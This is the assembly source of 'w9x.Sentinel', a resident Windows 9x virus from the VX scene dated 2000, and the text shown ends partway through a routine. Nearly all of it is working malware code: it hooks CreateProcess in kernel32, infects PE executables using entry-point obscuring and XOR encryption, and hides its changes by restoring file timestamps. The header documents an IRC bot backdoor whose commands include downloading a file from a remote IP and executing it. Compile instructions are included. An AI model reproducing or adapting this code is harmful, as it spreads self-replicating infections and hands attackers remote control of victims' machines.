ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SENTINEL.ASM]ÄÄÄ
;........................................................................;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
;                  w9x.Sentinel 1.1 (c)oded 2000 by f0re 
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
;
; Abstract
; --------
; This is the sourcecode of my first resident  w32 virus. It uses advanced
; EPO (entry point obscuring) and has backdoor capabilities via IRC. 
;
;
; Virus Specification
; -------------------
; When an infected  file is executed  the  decryptor receives  control and
; decrypts  the  virus  with  the  decryption  key  on  the stack (see EPO 
; specification).  Next the  virus  goes  resident  by  using the vxdcall0 
; backdoor and hooks the CreateProcess api by modifying its address in the
; kernel32.dll export table in memory.
;
; When a new process is created the virus routine receives control and, if 
; not already present,  launches a new  thread in which an  IRC bot may be
; started  (see IRC-BOT specification).  Next  it  will  try to infect the 
; executed  file.
;
; The infection procedure consists  globally of the following steps. First
; it  will  search  for a  cavity in the file's code section and if one is
; found, it  laces  there the  JumpVirus  routine (see EPO specification).
; Second it will search for the nth call or jmp opcode in the code section
; to replace it with a call to this routine (again see EPO specification).
; Third  it  will  copy  the  decryptor  to the end of the file. Fourth it
; encrypts  and  copies  the other  portion  of the virus to the file. The 
; encryption key  that is used  is  the offset of the returnaddress of the 
; patched api call/jmp. Finally, after the file is infected,  the original
; CreateProcess api code is executed.
;
;
; EPO specification
; ---------------------
; As already described,  during  infection the  nth api call or (indirect) 
; api jmp opcode in the  code  section of the file  is replaced by a  call
; to the JumpVirus routine (n is a random number). This routine was placed
; in a cavity somewhere  in  the code section. The JumpVirus routine holds
; the following 14 bytes of code:
;
; 	JumpVirusCode:
; 		xxxx = virtual address of JumpToVirusEntryPoint
; 	JumpToVirusEntryPoint:
;		mov eax, [esp]
;		add eax, delta
;		jmp eax
;
; From the stack this routine takes the return address from the call. Next
; a precalculated  number,  called delta, (calculated during infection) is 
; added which gives  the virtual  address of  the  virus entrypoint. After
; jumping to the virusdecryptor code the decryption key is taken from  the
; stack (this is the return address from the call) and  the viruscode  can
; be decrypted. 
;
; For a virusscanner it is now much harder to  decrypt the virus; it first
; needs to find the return address of the api  call  or the address of the
; cavity  and  the  size  of the  virus  or both to be able to decrypt the 
; virus.
;
;
; IRC BOT specification
; ---------------------
; When  the  IRC  routine  is  launched, it  will  try to find an internet
; connection and if one is found, it launches an IRC BOT, ***a sentinel***
; which goes to  undernet #sntnl.  There it  will  sit and wait for remote
; commands. The nickname  of a sentinel consists of a randomly chosen name
; from a  list  of  names  followed  by two random numbers. In the rest of
; this text the name  of a  sentinel is  indicated by xxx.  A sentinel can
; understand a  number  of  commands  which  can  be  send  to  a sentinel
; privately or  to all  sentinels at  once by  sending  the message to the
; channel. The following messages are understood:
;
; * all IRC commands, send with the following stucture:
;
; 	/msg xxx pass /<ircommand> <params>
;       
;	so for example: /msg xxx pass /privmsg #sntnl :hello there
;
; * the installer-command, send with the following structure:
;
;	/msg xxx pass /ex3c [<ipnumber>] [<get-command>]
;
;	where <ipnumber> = ip-number of  server  where  executable  should
;	be downloaded.
;
;	where  <get-command>  =  the exact  command  according to the HTTP 
;	protocol to retrieve the file. 
;
;	So the command may for example look like:
;	
;	/msg xxx pass /ex3c [123.45.67.89] [GET /filename.exe HTTP/1.0]
;
;	If  a  sentinel  receives  this   command  it  will  download  the
;	specified  file. Only  when  the  it  has succesfully received the
;	entire file it will execute the file.
;
; * the status-command, send with the following structure:
;
;	/msg xxx pass /st4t
;
;	If a sentinel receives this command, it  will  show the status  of
;       the installer. Five different statuses are possible:
;	
;	Waiting/Unable to connect/Installing/Size error/Done
;
; * the quit-command, send with the following structure:
;
;	/msg xxx pass /qu1t
;
; * the nick-command, send with the following structure:
;
;	/msg xxx pass /n1ck
;
;	This commands tells a  sentinel  to  change its nick into a random
;	5 character long name.
;
;
; To Compile
; ----------
; tasm32 sentinel.asm /m /ml
; tlink32 -aa sentinel.obj lib\import32.lib
;
;
; Greetz
; ------
; Greetz go  to (in random order):  Blackjack,  Darkman, MrSandman,  Mdrg, 
; Prizzy, Benny,  rgo32,  Asmod,  Lord Julus, Spanska, DrOwlFS, Bumblebee,
; VirusBuster, LifeWire, Gbyte, r-,  veedee, spo0ky,  t00fic  and last but
; not least all the other people from #virus/#vxers.
;
;
;"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""";

.386
.model flat, stdcall

locals
jumps
	extrn ExitProcess:PROC

	include inc\myinc.inc
	include inc\wsocks.inc

.data

    FirstCopy:
	jmp RealStart

    Start:
	mov eax, dword ptr [esp]			; decryption key
	pushad
	call GetCurrentOffset

    GetCurrentOffset:
	pop esi
	add esi, (RealStart - GetCurrentOffset)
	mov ecx, ((Leap - RealStart)/4 + 1)		; size to decrypt

    DecryptVirus:
	xor dword ptr [esi], eax 			; decryption routine
	add esi, 04h
	loop DecryptVirus

    DecryptionDone:
	popad

    RealStart:
	push ebp
	call GetDeltaOffset

    GetDeltaOffset:
	pop ebp
	sub ebp, offset GetDeltaOffset
	
    SetSEH:
	lea eax, [ebp + ErrorHandler]			; set new SEH handler
	push eax
	push dword ptr fs:[0]				; save old SEH handler
	mov dword ptr fs:[0], esp			; initiate SEH frame

    CheckWindowsVersion:
	mov eax, [ebp + kernel32address]
	cmp word ptr [eax], 'ZM'
	jne ErrorHandler
	add eax, [eax + 3ch]
	cmp word ptr [eax], 'EP'
	jne ErrorHandler

    RestoreSEH:
	pop dword ptr fs:[0]				; restore old SEH		
	add esp, 4					; handler
	jmp MainRoutines

    ErrorHandler:
	mov esp, [esp + 8]				
	pop dword ptr fs:[0]					
	add esp, 4					
	jmp CheckEpoType

    MainRoutines:
	pushad
	call FIND_GETPROCADDRESS_API_ADDRESS	
	call FIND_VXDCALL0_ADDRESS
	call FIND_USER32_BASE_ADDRESS
	call GO_RESIDENT
	popad						

    CheckEpoType:
	cmp [ebp + epo_opcode], 15FFh
	jne EpoJmpExit

    EpoCallExit:
    	mov eax, [ebp + epo_awaa_va]		; [eax]-> va original jmp
	pop ebp
	jmp [eax]	

    EpoJmpExit:
    	mov eax, [ebp + epo_awaa_va]		; [eax]-> va original jmp
	mov [esp + 4], eax
	pop ebp
	pop eax					
	jmp [eax]	

;==============================[ includes ]==============================;


	hookstruct			db 20d dup(0)
	zip				db "zip",0
	delta				dd 00h
	cs_rawsize			dd 00h
	cavity_va			dd 00h

	page_mem_size			equ ((Leap-Start) + 0fffh)/1000h
	resaddress			dd 0
	kernel32address 		dd 0bff70000h
	user32address			dd 0
	wsock32address			dd 0
	imagehlpaddress			dd 0

	cp_oldapicodeaddress		dd 0
	cp_newapicodeaddress		dd 0
	cp_oldapicode			db 06h dup(0)
	cp_newapicode			db 06h dup(0)
    
	k32 				db "KERNEL32.dll",0
	user32 				db "USER32.dll",0
	imagehlp			db "IMAGEHLP.dll",0
  
	numberofnames 			dd 0
	addressoffunctions 		dd 0
	addressofnames 			dd 0
	addressofordinals 		dd 0
	AONindex 			dd 0

	AGetProcAddress 		db "GetProcAddress", 0	
	AGetProcAddressA 		dd 0			
	AMessageBox 			db "MessageBoxA",0
	AMessageBeep 			db "MessageBeep",0
	AGetSystemTime			db "GetSystemTime",0
	AFindFirstFile 			db "FindFirstFileA",0
	ACreateFile			db "CreateFileA",0
	ASetCurrentDirectory 		db "SetCurrentDirectoryA",0
	ASetFileAttributes 		db "SetFileAttributesA",0
	AGetFileAttributes 		db "GetFileAttributesA",0
	ACreateFileMapping 		db "CreateFileMappingA",0
	AMapViewOfFile 			db "MapViewOfFile",0
	AUnmapViewOfFile 		db "UnmapViewOfFile",0
	ACloseHandle 			db "CloseHandle",0
	ASetFilePointer 		db "SetFilePointer",0
	ASetEndOfFile 			db "SetEndOfFile",0
	AGetModuleHandle 		db "GetModuleHandleA",0
	ASetFileTime 			db "SetFileTime",0
	ALoadLibrary 			db "LoadLibraryA",0
	AGetSystemDirectory 		db "GetSystemDirectoryA",0
	AGetWindowsDirectory		db "GetWindowsDirectoryA",0
	AGetFileSize 			db "GetFileSize",0
	AGetCurrentDirectory		db "GetCurrentDirectoryA",0
	AVxdcall0A			dd 0
	ACheckSumMappedFile		db "CheckSumMappedFile",0

	filenamebuffer			db 100h dup(0)
     	
	maphandle 			dd 0
	mapaddress 			dd 0
	memory 				dd 0
	imagebase 			dd 0
	imagesize 			dd 0
	filealign 			dd 0
	sectionalign 			dd 0
	filehandle			dd 0
	filesize			dd 0
	PEheader 			dd 0
	ip_original			dd offset OriginalHost 

	windowtitle 			db "W9x.Sentinel", 0
	msgtxt	 			db "Observing the world f0revir", 0

	myseh				SEH <>
	myfinddata 			WIN32_FIND_DATA <>
	rva2raw				dd 0
	debug				db 01

	epo_newip			dd 0
	epo_cs_rva			dd 0
	epo_cs_pa			dd 0
	epo_ipnew_va			dd 0
	epo_ipnew_rva			dd 0
	epo_opcode			dw 15ffh
	epo_aoc_pa			dd 0
	epo_awaa_va			dd offset ip_original 

        string 				db "ZZZZZZZZ", 0
	ascvalues 			db "0123456789ABCDEF", 0

FIND_GETPROCADDRESS_API_ADDRESS proc
	
    LoadExportTableData:
    	mov edi, [ebp + kernel32address]		; get exporttable
	add edi, [edi + 3ch]				; address from
    	mov esi, [edi + 78h]				; kernel's PE header
	add esi, [ebp + kernel32address]		
    	
	mov eax, dword ptr [esi + 18h]			
	mov [ebp + numberofnames], eax			; save number of names
		
	mov eax, dword ptr [esi + 1Ch]			; get ra of table with 
    	add eax, [ebp + kernel32address]		; pointers to funtion
    	mov [ebp + addressoffunctions], eax		; addresses

	mov eax, dword ptr [esi + 20h]			; get ra of table with
    	add eax, [ebp + kernel32address]		; pointers to names
    	mov [ebp + addressofnames], eax			; of functions
	
	mov eax, dword ptr [esi + 24h]			; get ra of table with
	add eax, [ebp + kernel32address]		; pointers to ordinals
	mov [ebp + addressofordinals], eax		; of functions

    BeginProcAddressSearch:
    	mov esi, [ebp + addressofnames]			; search for GetProc
    	mov [ebp + AONindex], esi			; Address API in names
    	mov edi, [esi]					; table
    	add edi, [ebp + kernel32address]	
	xor ecx, ecx					
    	lea ebx, [ebp + AGetProcAddress]		

    TryAgain:
    	mov esi, ebx					

    MatchByte:
    	cmpsb
    	jne NextOne					
    	cmp byte ptr [esi], 0				; did the entire string
    	je GotIt					; match ?
    	jmp MatchByte

    NextOne:
    	inc cx						
    	add dword ptr [ebp + AONindex], 4		; get next namepointer
    	mov esi, [ebp + AONindex]			; in table (4 dwords)
    	mov edi, [esi]					
    	add edi, [ebp + kernel32address]		; align with kernelbase
    	jmp TryAgain

    GotIt:
    	shl ecx, 1					
    	mov esi, [ebp + addressofordinals]		; ordinal = nameindex *
    	add esi, ecx					; size of ordinal entry
    	xor eax, eax					; + ordinal table base
    	mov ax, word ptr [esi]				
    	shl eax, 2					; address of function =
    	mov esi, [ebp + addressoffunctions]		; ordinal * size of
    	add esi, eax					; entry of address 
    	mov edi, dword ptr [esi]			; table + base of 
    	add edi, [ebp + kernel32address]		; addresstable
    	mov [ebp + AGetProcAddressA], edi		; save GPA address
	ret	
  
FIND_GETPROCADDRESS_API_ADDRESS endp

FIND_VXDCALL0_ADDRESS proc

    FindStartOfKernelExportSection:
	mov esi, [ebp + kernel32address]
	add esi, dword ptr [esi + 3ch]
	mov edi, dword ptr [esi + 78h]		; virtual address of kernel32
	add edi, [ebp + kernel32address]	; export section

    GetVXDCallAddress:
	mov esi, dword ptr [edi + 1Ch]		; get ra of table with 
    	add esi, [ebp + kernel32address]	; pointers to funtion addresses
	mov eax, dword ptr [esi]
	add eax, [ebp + kernel32address]
	mov [ebp + AVxdcall0A], eax
	ret

FIND_VXDCALL0_ADDRESS endp

GETAPI proc 

	push eax					
	push dword ptr [ebp + kernel32address]		; load kernelbase
	call [ebp + AGetProcAddressA]			; and get api address
	jmp eax						; call the api
	ret						; return
	 
GETAPI endp

GETUAPI proc

	push eax					
	push dword ptr [ebp + user32address]		; load user32base
	call [ebp + AGetProcAddressA]			; and get api address
	jmp eax
	ret

GETUAPI endp

GETWAPI proc

	push eax					
	push dword ptr [ebp + wsock32address]		; load wsockbase
	call [ebp + AGetProcAddressA]			; and get api address
	jmp eax
	ret

GETWAPI endp

GETIAPI proc

	push eax					
	push dword ptr [ebp + imagehlpaddress]	
	call [ebp + AGetProcAddressA]		
	jmp eax
	ret

GETIAPI endp

GO_RESIDENT proc

    CheckResidency:
	mov eax, [ebp + kernel32address]
	add eax, 400h
	cmp dword ptr [eax], 'er0f'
	je MemoryError					; already resident

    PageReserve:
	push 00020000h or 00040000h
	push page_mem_size
	push 80060000h
	push 00010000h
	call dword ptr [ebp + AVxdcall0A]		
	cmp eax, 0FFFFFFFh
	je MemoryError
	mov [ebp + resaddress], eax

    CalculateVirusVirtualAddress:
	mov ecx, offset InterceptCP - Start
	add ecx, eax
	mov [ebp + cp_newapicodeaddress], ecx

    PageCommit:
	push 00020000h or 00040000h or 80000000h or 00000008h
	push 00000000h
	push 00000001h
	push page_mem_size
	shr eax, 12
	push eax
	push 00010001h
	call dword ptr [ebp + AVxdcall0A]		
	or eax, eax
	je MemoryError

	; IN: hookstruct:
	;	00 : offset api name
	;	04 : old apicodeaddress
	;	08 ; offset for old apicode
	;	12 ; offset for new apicode
	;	16 : new apicodeaddress

	lea eax, [ebp + hookstruct]
	lea ebx, [ebp + ACreateProcess]
	mov dword ptr [eax], ebx
	lea ebx, [ebp + cp_oldapicodeaddress]
	mov dword ptr [eax + 4], ebx
	lea ebx, [ebp + cp_oldapicode]
	mov dword ptr [eax + 8], ebx
	lea ebx, [ebp + cp_newapicode]
	mov dword ptr [eax + 12], ebx
	lea ebx, [ebp + cp_newapicodeaddress]
	mov dword ptr [eax + 16], ebx
	call HOOK_API

    CopyVirusToMemory:	
	cld
	lea esi, [ebp + Start]
	mov edi, [ebp + resaddress]
	mov ecx, Leap-Start
	rep movsb
 
    SetResidentFlag:
	mov eax, [ebp + kernel32address]
	add eax, 400h
	shr eax, 12d

    ModifyPagePermissions2:
	push 20060000h
	push 00000000h
	push 00000001h
	push eax
	push 0001000dh
	call dword ptr [ebp + AVxdcall0A]	
	cmp eax, 0FFFFFFFh
	je MemoryError

	mov eax, [ebp + kernel32address]
	add eax, 400h
	mov dword ptr [eax], 'er0f'

    MemoryError:
	ret

GO_RESIDENT endp

INFECT_FILE proc

     SetFileAttributesToNormal:
	push 80h	
	lea esi, [ebp + myfinddata.fd_cFileName]	; esi = filename	
	push esi
	lea eax, [ebp + ASetFileAttributes]	
	call GETAPI
	
     OpenFile:
	push 0						; template handle=0
	push 20h					; attributes=any file
	push 3						; type= existing file
	push 0						; security option = 0
	push 1						; shared for read
	push 80000000h or 40000000h			; generic read write
	lea esi, [ebp + filenamebuffer]
	push esi					; offset file name
	lea eax, [ebp + ACreateFile]
	call GETAPI

	cmp eax, 0FFFFFFFFh
	je InfectionError
	mov [ebp + filehandle], eax

;-------------------------------[ map file ]---------------------------------;

    CreateFileMapping:					; allocates the memory
	push 0						; filename handle = 0
	push [ebp + memory]				; max size = memory
	push 0						; minumum size = 0
	push 4						; read / write access
	push 0						; sec. attrbs= default
	push [ebp + filehandle]
	lea eax, [ebp + ACreateFileMapping]
	call GETAPI					; eax = new map handle

	mov [ebp + maphandle], eax
	or eax, eax
	jz CloseFile					

    MapViewOfFile:
	push [ebp + memory]				; memory to map
	push 0						; file offset
	push 0						; file offset
	push 2						; file map write mode
	push eax					; file map handle
	lea eax, [ebp + AMapViewOfFile]			; ok map the file
	call GETAPI
	or eax, eax
	jz CloseMap
	mov [ebp + mapaddress], eax			; save that base

    CheckForMZMark:
	cmp word ptr [eax], 'ZM'			; an exe file?
	jne UnmapView	

    CheckInfectionMark:
	cmp word ptr [eax + 38h], 'll'			; already infected?
	je UnmapView	

    NotYetInfected:
	mov esi, dword ptr [eax + 3ch]			
	cmp esi, 200h
	ja UnmapView
	add esi, eax
	cmp dword ptr [esi], 'EP'			; is it a PE file ?
	jne UnmapView
	mov [ebp + PEheader], esi			; save va PE header
	mov eax, [esi + 28h]
	mov [ebp + ip_original], eax			; save original ip	
	mov eax, [esi + 34h]
	mov [ebp + imagebase], eax			; save imagebase
	
;------------------------------[ append section ]----------------------------;

    CheckForEPO:
	pushad
	mov [ebp + epo_opcode], 15FFh			; search for call opcode
	call CREATE_EPO
	or eax, eax
	jnz LocateBeginOfLastSection
	mov [ebp + epo_opcode], 25FFh
	call CREATE_EPO
	or eax, eax
	jnz LocateBeginOfLastSection
	popad
	jmp UnmapView

    LocateBeginOfLastSection:
	popad
	movzx ebx, word ptr [esi + 20d]			; optional header size
	add ebx, 24d					; file header size
	movzx eax, word ptr [esi + 6h]			; no of sections
	dec eax						; (we want the last-1
	mov ecx, 28h					; sectionheader)
	mul ecx						; * header size
	add esi, ebx					; esi = begin of last 
	add esi, eax					; section's header

    CheckForOverLays:
	mov eax, [esi + 10h]				; section phys size
	add eax, [esi + 14h]				; section phys offset
	mov ecx, [ebp + PEheader]
	mov ecx, [ecx + 38h]
	div ecx
	inc eax
	mul ecx
	mov ecx, [ebp + filesize]
	cmp ecx, eax
	ja UnmapView					; we dont infect those
	mov ecx, 08h

    CheckForZipSFX:
	lea edi, [ebp + zip]
	push ecx
	push esi
	mov ecx, 03h
	rep cmpsb
	pop esi
	pop ecx
	je UnmapView
	inc esi
	loop CheckForZipSFX

    ChangeLastSectionHeaderProperties:
	sub esi, 08h
	or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h 

    NewAlignedPhysicalSize:
	mov eax, [esi + 8h]				; old virt size
	add eax, Leap-Start
	mov ecx, [ebp + PEheader]
	mov ecx, [ecx + 3ch]
	div ecx						; and align it to
	inc eax						; the filealign
	mul ecx
	mov [esi + 10h], eax  			; save it

    NewAlignedVirtualSize:
	mov eax, [esi + 8h]				; get old 
	push eax					; store it
	add eax, Leap-Start				
	mov ecx, [ebp + PEheader]
	mov ecx, [ecx + 38h]
	div ecx						; and align it to
	inc eax						; the sectionalign
	mul ecx
	mov [esi + 8h], eax				; save new value

    NewAlignedImageSize:
	mov eax, dword ptr [esi + 0ch]			; get virtual offset	
	add eax, dword ptr [esi + 8h]			; + new virtual size
	mov [ebp + imagesize], eax			; = new imagesize

    NewAlignedFileSize:
	mov eax, dword ptr [esi + 10h]			; get new phys size
	add eax, dword ptr [esi + 14h]			; add offset of phys
	mov [ebp + filesize], eax			; size = filesize

    CalculateNewIp:
	pop eax
	push eax	
	add eax, dword ptr [esi + 0ch]			; + virtual offset
	mov [ebp + epo_ipnew_rva], eax			; new ip

    CreateEpoIp:
	add eax, [ebp + imagebase]
	mov [ebp + epo_ipnew_va], eax

    CalculateEncryptionKey:
	mov ebx, [ebp + epo_aoc_pa]
	sub ebx, [ebp + epo_cs_pa]
	add ebx, [ebp + epo_cs_rva]
	add ebx, 04h					; ebx-> original return address
	add ebx, [ebp + imagebase]			; after call = encryption key

    CalculateDelta:
	mov eax, [ebp + epo_ipnew_va]
	sub eax, ebx		
	mov [ebp + delta], eax

    CopyVirusDecryptorToEndOfFile:
	pop eax
	mov edi, eax					; virtual size
	add edi, [ebp + mapaddress]			; mapaddress
	add edi, [esi + 14h]				; add raw data offset
	lea esi, [ebp + Start]				; copy virus
	mov ecx, (RealStart - Start)
	rep movsb

    PrepareToEncryptAndCopy:
	mov ecx, ((Leap-RealStart)/4 + 1)
	cld

    EncryptAndCopyVirus:
	movsd
	sub edi, 04h
	xor dword ptr [edi], ebx
	add edi, 04h
	loop EncryptAndCopyVirus

    SearchForCavity:
	mov esi, [ebp + epo_cs_pa]
	mov ecx, [ebp + cs_rawsize]
	call CAVITYSEARCH				
	or esi, esi
	jz UpdatePEHeaderWithChanges
	mov eax, esi
	sub eax, [ebp + epo_cs_pa]
	add eax, [ebp + epo_cs_rva]
	add eax, [ebp + imagebase]
	mov [ebp + cavity_va], eax

    WriteVirusJumpIntoCavity:
	add eax, 04h
	mov dword ptr [esi], eax
	add esi, 04h
	mov dword ptr [esi], 0524048Bh
	add esi, 04h
	mov eax, [ebp + delta]
	mov dword ptr [esi], eax
	add esi, 04h
	mov word ptr [esi], 0E0FFh
	
    SetEpo:
	mov eax, [ebp + cavity_va]
	mov edx, [ebp + epo_aoc_pa]
	mov dword ptr [edx], eax
	sub edx, 02h
	mov word ptr [edx], 15FFh			; turn jmp into call
	
    UpdatePEHeaderWithChanges:
	mov esi, [ebp + mapaddress]	
	mov word ptr [esi + 38h], 'll'			; set infectionmark
	mov esi, [ebp + PEheader]	
	mov eax, [ebp + imagesize]		
	mov [esi + 50h], eax				; set new imagesize

    CalculateNewCheckSum:
	cmp dword ptr [esi + 58h], 00h
	je UnmapView

    LoadImageHlpDll:
	lea eax, [ebp + imagehlp]
	push eax
	lea eax, [ebp + ALoadLibrary]
	call GETAPI
	or eax, eax
	jz UnmapView
	mov [ebp + imagehlpaddress], eax

    CalculateNewChecksum:
	mov esi, [ebp + PEheader]	
	push dword ptr [esi + 58h]
	lea eax, [ebp + buffer]
	push eax
	push dword ptr [ebp + filesize]
	push dword ptr [ebp + mapaddress]
	lea eax, [ebp + ACheckSumMappedFile]
	call GETIAPI

;--------------------------------[ unmap file ]------------------------------;

    UnmapView:
	push dword ptr [ebp + mapaddress]
	lea eax, [ebp + AUnmapViewOfFile]
	call GETAPI

    CloseMap:
	push dword ptr [ebp + maphandle]
	lea eax, [ebp + ACloseHandle]
	call GETAPI

  	push 0					; set file pointer to 
	push 0					; beginning + filesize
	push [ebp + filesize]			; = end of file
	push [ebp + filehandle]
	lea eax, [ebp + ASetFilePointer]
	call GETAPI

	push [ebp + filehandle]			; set EOF equal to current
	lea eax, [ebp + ASetEndOfFile]		; filepointer position
	call GETAPI

;--------------------------------[ close file ]------------------------------;

    CloseFile:
	push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]
	push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]
	push dword ptr [ebp + myfinddata.fd_ftCreationTime]
	push dword ptr [ebp + filehandle]
	lea eax, [ebp + ASetFileTime]
	call GETAPI

	push [ebp + filehandle]
	lea eax, [ebp + ACloseHandle]
	call GETAPI

    InfectionError:
	push dword ptr [ebp + myfinddata.fd_dwFileAttributes]
	lea eax, [ebp + myfinddata.fd_cFileName]	
	push eax
	lea eax, [ebp + ASetFileAttributes]
	call GETAPI
	ret

INFECT_FILE endp

RESIDENT_CP proc 

     InterceptCP:
	pushad
	call GetApiDelta

     GetApiDelta:
	pop ebp
	sub ebp, offset GetApiDelta
	call FIND_GETPROCADDRESS_API_ADDRESS
	call FIND_USER32_BASE_ADDRESS
	call RESIDENT_CP2
	call IRC_LAUNCH
	popad

     GetNewDelta:
	call NewDelta

     NewDelta:
	pop eax
	sub eax, offset NewDelta

     RestoreApiCode:
	pushad
	mov edi, [eax + cp_oldapicodeaddress]			
	lea esi, [eax + cp_oldapicode]
	mov ecx, 06h
	rep movsb
	popad

	pop [eax + returnaddress]
	call dword ptr [eax + cp_oldapicodeaddress]

     ReHookApi:
	pushad
	call GetNewDelta2

     GetNewDelta2:
	pop ebp
	sub ebp, offset GetNewDelta2

	mov edi, [ebp + cp_oldapicodeaddress]			
	lea esi, [ebp + cp_newapicode]
	mov ecx, 06h
	rep movsb
	popad

     ReturnToOriginalCaller:
	db 68h
	returnaddress dd 0
	ret

RESIDENT_CP endp

RESIDENT_CP2 proc

    CheckForEmptyCommandLine:
	mov esi, dword ptr [esp + 2ch]
	or esi, esi
	jz Continue
                             
    ExtractFileName:
	xor ecx, ecx
	cmp byte ptr [esi], '"'			
	jne FileNameNormal
	inc esi
	push esi

    GetFileNamePartBetweenQuotes:
	cmp byte ptr [esi], '"'
	je GetBetweenQuotes
	inc esi
	inc ecx
	cmp ecx, 100h
	ja FileNameEndNotFound
	jmp GetFileNamePartBetweenQuotes
	
    GetBetweenQuotes:
	mov edi, esi
	pop esi
	sub edi, esi				; esi hold start of filename
	mov ecx, edi				; ecx holds size of filename
	jmp StoreFileName

    FileNameNormal:
	push esi

    GetNormalFileName:
	cmp byte ptr [esi], ' '
	je FoundNormalFileName
	inc esi
	inc ecx
	cmp ecx, 100h
	ja FileNameEndNotFound
	jmp GetNormalFileName

    FoundNormalFileName:
	mov edi, esi
	pop esi
	sub edi, esi				; esi hold start of filename
	mov ecx, edi				; ecx holds size of filename
	jmp StoreFileName
	
    FileNameEndNotFound:
	pop esi
	jmp Continue

    StoreFileName:
	push edi
	push esi
	push ecx

	mov ecx, 100h
	xor eax, eax
	lea edi, [ebp + filenamebuffer]
	rep stosb

	pop ecx
	pop esi
	pop edi

	lea edi, [ebp + filenamebuffer]
	rep movsb

    CheckForRem:
	lea esi, [ebp + filenamebuffer]
	cmp word ptr [esi], 'er'
	jne FindFirstFile
	inc esi
	cmp word ptr [esi], 'me'
	je Continue

    FindFirstFile:
	lea eax, [ebp + myfinddata]			; win32 finddata structure
	push eax
	lea eax, [ebp + filenamebuffer]
	push eax
	lea eax, [ebp + AFindFirstFile]			; find the file
	call GETAPI
	cmp eax, 0FFFFFFFFh				; file was not found
	je Continue

	cmp [ebp + debug], 00h
	je InfectThisFile
	xor ecx, ecx
	lea esi, [ebp + myfinddata.fd_cFileName]

    CheckFileName:
	cmp byte ptr [esi], 0
	je Continue
	cmp dword ptr [esi], 'mmud'
	je InfectThisFile
	inc esi
	inc ecx
	cmp ecx, 100h
	ja Continue
	jmp CheckFileName

    InfectThisFile:
	mov ecx, [ebp + myfinddata.fd_nFileSizeLow]	; ecx = filesize
	mov [ebp + filesize], ecx			; save the filesize
	add ecx, Leap - Start + 1000h			; filesize + virus
	mov [ebp + memory], ecx				; + workspace = memory

	call INFECT_FILE

    Continue:
	ret

RESIDENT_CP2 endp

HOOK_API proc 

	; IN: hookstruct:
	;	00 : offset api name
	;	04 : old apicodeaddress
	;	08 ; offset for old apicode
	;	12 ; offset for new apicode
	;	16 : new apicodeaddress
		
    FindKernelExportTable:
	pushad
	mov edi, [ebp + kernel32address]
	add edi, dword ptr [edi + 3ch]
	mov esi, dword ptr [edi + 78h]
	add esi, [ebp + kernel32address]
   
    GetNecessaryData:
	mov eax, dword ptr [esi + 18h]			
	add eax, [ebp + kernel32address]
	mov [ebp + numberofnames], eax			; save number of names
	mov eax, dword ptr [esi + 1Ch]			; get ra of table with 
	add eax, [ebp + kernel32address]
	mov [ebp + addressoffunctions], eax		; function addresses
	mov eax, dword ptr [esi + 20h]			; get ra of table with
	add eax, [ebp + kernel32address]
    	mov [ebp+addressofnames],  eax			; pointers to names 
	mov eax, dword ptr [esi + 24h]			; get ra of table with
	add eax, [ebp + kernel32address]
	mov [ebp+addressofordinals], eax		; pointers to ordinals

    BeginApiAddressSearch:
    	mov esi, [ebp + addressofnames]			; search for 
    	mov [ebp + AONindex], esi			; API in names
    	mov edi, [esi]					; table
	add edi, [ebp + kernel32address]
	
    HookCreateProcess:
	xor ecx, ecx

    OkTryAgain:
	lea ebx, [ebp + hookstruct]
	mov esi, dword ptr [ebx]

    MatchByteNow:
    	cmpsb
    	jne NextOneNow					
    	cmp byte ptr [esi], 0				; did the entire string
    	je YesGotIt					; match ?
    	jmp MatchByteNow

    NextOneNow:
    	inc cx						
    	add dword ptr [ebp + AONindex], 4		; get next namepointer
    	mov esi, [ebp + AONindex]			; in table (4 dwords)
    	mov edi, [esi]
	add edi, [ebp + kernel32address]					
    	jmp OkTryAgain

    YesGotIt:
    	shl ecx, 1					
    	mov esi, [ebp + addressofordinals]		; ordinal = nameindex *
    	add esi, ecx					; size of ordinal entry
    	xor eax, eax					; + ordinal table base
    	mov ax, word ptr [esi]				; offset of address
    	shl eax, 2					; of function = ordinal
    	mov esi, [ebp + addressoffunctions]		; * size of entry of
    	add esi, eax					; address table
    	mov edi, dword ptr [esi]			; get address
	add edi, [ebp + kernel32address]

	lea eax, [ebp + hookstruct]
	mov eax, dword ptr [eax + 4]
	mov dword ptr [eax], edi

    SetApiHook:
	mov eax, edi
	shr eax, 12d

    ModifyPagePermissions:
	push 20060000h
	push 00000000h
	push 00000001h
	push eax
	push 0001000dh
	call dword ptr [ebp + AVxdcall0A]	

	cmp eax, 0FFFFFFFh
	jne SaveCreateProcessApiCode
	xor eax, eax
	jmp ApiHookError

    SaveCreateProcessApiCode:
	lea esi, [ebp + hookstruct]
	mov esi, dword ptr [esi + 4]
	mov esi, dword ptr [esi]
	lea edi, [ebp + hookstruct]
	mov edi, dword ptr [edi + 8]
	mov ecx, 06h
	rep movsb

    PrepareCreateProcessApiCode:
	lea esi, [ebp + hookstruct]
	mov esi, dword ptr [esi + 12]
	mov byte ptr [esi], 68h
	inc esi
	lea eax, [ebp + hookstruct]
	mov eax, dword ptr [eax + 16]
	mov eax, dword ptr [eax]
	mov dword ptr [esi], eax
	add esi, 04h
	mov byte ptr [esi], 0c3h

    ChangeCreateProcessApiCode:
	lea edi, [ebp + hookstruct]
	mov edi, dword ptr [edi + 4]
	mov edi, dword ptr [edi]
	lea esi, [ebp + hookstruct]
	mov esi, dword ptr [esi + 12]
	mov ecx, 06h
	rep movsb

    ApiHookError:
	popad
	ret
   
HOOK_API endp

CREATE_EPO proc

    LocateCodeSectionHeader:
	mov eax, [ebp + ip_original]
	call FIND_SECTION
	or eax, eax
	jz ExitEpoRoutine

	; edi = start of code section header
	
    GetPointerToRawData:
	mov eax, dword ptr [edi + 12d]			; eax = rva cs
	mov [ebp + epo_cs_rva], eax
